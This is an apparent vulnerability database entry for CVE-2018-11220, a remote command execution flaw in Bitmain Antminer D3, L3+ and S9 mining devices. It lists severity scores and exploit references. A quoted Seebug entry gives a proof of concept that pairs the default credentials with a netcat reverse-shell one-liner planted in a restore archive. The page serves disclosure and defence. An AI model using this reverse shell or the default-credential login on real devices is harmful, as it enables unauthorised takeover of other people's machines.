Vulnerabilities > CVE-2018-11220 - Unspecified vulnerability in Bitmain products
Attack vector
NETWORK Attack complexity
LOW Privileges required
SINGLE Confidentiality impact
COMPLETE Integrity impact
COMPLETE Availability impact
COMPLETE Summary
Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution via the system restore function.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| OS | 3 | |
| Hardware | 3 |
Exploit-Db
| description | Bitmain Antminer D3/L3+/S9 - Remote Command Execution. CVE-2018-11220. Remote exploit for Hardware platform |
| file | exploits/hardware/remote/44779.txt |
| id | EDB-ID:44779 |
| last seen | 2018-05-28 |
| modified | 2018-05-27 |
| platform | hardware |
| port | |
| published | 2018-05-27 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/44779/ |
| title | Bitmain Antminer D3/L3+/S9 - Remote Command Execution |
| type | remote |
Packetstorm
| data source | https://packetstormsecurity.com/files/download/147950/bitmainantminer-exec.txt |
| id | PACKETSTORM:147950 |
| last seen | 2018-05-31 |
| published | 2018-05-27 |
| reporter | Corrado Liotta |
| source | https://packetstormsecurity.com/files/147950/Bitmain-Antminer-D3-L3-S9-Remote-Command-Execution.html |
| title | Bitmain Antminer D3/L3+/S9 Remote Command Execution |
Seebug
| bulletinFamily | exploit |
| description | * Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution * Google Dork: N/A * Date: 27/05/2018 * Exploit Author: Corrado Liotta * Vendor Homepage: https://www.bitmain.com/ * Software Link: N/A * Version: Antminer - D3, L3+, S9, and other * Tested on: Windows/Linux * CVE : CVE-2018-11220 ### Description The software used by the miners produced by the bitmain (AntMiner) is affected by a vulnerability of remote code execution type, it is possible through the "Retore Backup" functionality of the administration portal to execute commands on the system. This would allow a malicious user with valid credentials to access the entire file system with administrative privileges. ### POC Login on Antminer Configuration Portal (Default Credential: root/root) 1) Create a file named: restoreConfig.sh 2) insert inside: ``` rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port >/tmp/f ``` 3) Generate archive by inserting the file created before: Exploit.tar 4) Launch net cat and upload file: ``` nc -vv -l -p port ``` system --> upgrade --> upload archive |
| id | SSV:97314 |
| last seen | 2018-06-26 |
| modified | 2018-05-28 |
| published | 2018-05-28 |
| reporter | My Seebug |
| title | Bitmain Antminer D3/L3+/S9 - Remote Command Execution(CVE-2018-11220) |